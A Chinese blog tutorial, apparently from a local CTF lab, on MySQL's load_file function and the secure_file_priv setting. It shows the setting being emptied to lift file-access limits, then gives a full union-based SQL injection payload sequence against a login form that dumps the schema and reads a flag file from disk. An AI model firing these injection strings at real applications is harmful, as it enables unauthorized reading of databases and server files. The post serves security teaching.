当前位置: 首页 > news >正文

【load_file读文件】

一、文件操作基础

show

请添加图片描述

先试试 show variables;发现显示了三百多行的系统变量:
请添加图片描述
这是数据库的目录:
请添加图片描述
mysql有多种编码方式,有数据库编码、连接时的编码、还有客户端的编码:

请添加图片描述
这里还有一个日志路径,这个日志是需要手动打开的,但是打开这个日志数据库会大很多:
请添加图片描述
这个记录的是主机的名字:
请添加图片描述
mysql端口号默认3306:
请添加图片描述
版本是5.5.53
请添加图片描述
这里记录的是机器的型号和操作系统的型号:
请添加图片描述
我们看到mysql的variables变量非常多,所以我们需要筛选一下,这个时候就可以用通配符like:

show variables like 'sec%';

我们看到第二个选项secure_file_priv它的值是null,它是文件读写相关的选项:
请添加图片描述
请添加图片描述
请添加图片描述
我们用phpstudy快速的打开配置文件:
请添加图片描述
之间在末尾添加一下,后面没有任何值的,因为不限制导入导出,保存后mysql重启一下就可以生效:
请添加图片描述
现在可以看到是什么都没有,就表明mysql对导入导出不限制:
请添加图片描述

load_file

请添加图片描述
请添加图片描述
我们本地第一下看看,读完后发现是空值
请添加图片描述
本地flag的路径也是这个,为什么会是空值呢,事实上是因为我们的反斜杠\,读取目录的时候是不能用反斜杠的,得用普通的斜杠:
请添加图片描述
这样就成功读取了:
请添加图片描述
当我们把目录换到了mysql目录,我们再去读就发现读不到了,因为secure_file_priv的目录换到了mysql
目录就只能读mysql目录
请添加图片描述
请添加图片描述
我们读一下mysql目录下的文件,成功读取了,www的目录不能读取,因为我们限制了读取目录:

请添加图片描述

二、Load_file读文件

常规union联合查询注入

测试注入点
username=admin&password=a闭合
username=admin' and 1=1%23&password=a测试列数
username=admin' order by 3%23&password=a测试回显位
username=a' union select 1,2,3%23&password=a查库名
username=a' union select 1,database(),3%23&password=a查表名
username=a' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23&password=a查列名
username=a' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'%23&password=a查flag #输出了路径C:/phpstudy_pro/WWW/7/6/flag.txt
username=a' union select 1,flag,3 from flag%23&password=a读文件
username=a' union select 1,load_file('C:/phpstudy_pro/WWW/7/6/flag.txt'),3 %23&password=a

总结

load_file等读文件的函数受到secure-file-priv 选项的限制,能不能使用load_file进行注入,要看这个选项的配置

文件路径不能使用反斜线\,要使用斜线/

http://www.lryc.cn/news/460693.html

相关文章:

  • JavaScript object(2)
  • Acwing 排序
  • 分布式环境下验证码登录的技术实现
  • 数据结构-5.9.树的存储结构
  • 【Linux】解锁线程基本概念和线程控制,步入多线程学习的大门
  • uniapp学习(005-2 详解Part.2)
  • 深度学习的关键概念和术语
  • navicate可视化数据库操作-cnblog
  • kubernetes中的微服务
  • Python 量子机器学习及其应用
  • echarts显示隐藏柱状图柱子的背景色
  • QT文件操作【记事本】
  • Linux 定时备份系统日志
  • 音视频入门基础:FLV专题(15)——Video Tag简介
  • 尚硅谷rabbitmq2024 第15-18节 springboot整合与可靠性答疑
  • ctfshow-web 萌新题
  • 基于RPA+AI的网页自动填写机器人 | OPENAIGC开发者大赛高校组优秀作品
  • Tmux常用操作--云GPU版
  • 股市入门常见术语介绍
  • 专栏十九:单细胞大数据时代使用scvi和scanpy整合数据
  • C语言编程必备知识
  • k8s 1.28 集群部署
  • python入门教程
  • bat(批处理脚本学习)
  • 【JAVA毕业设计】基于Vue和SpringBoot的渔具租赁系统
  • Maven和Gradle的对比
  • Windows安装Ollama环境
  • Java入门:11.抽象类,接口,instanceof,类关系,克隆
  • 【软件部署安装】OpenOffice转换PDF字体乱码
  • 工程师 - 开源硬件公司Adafruit介绍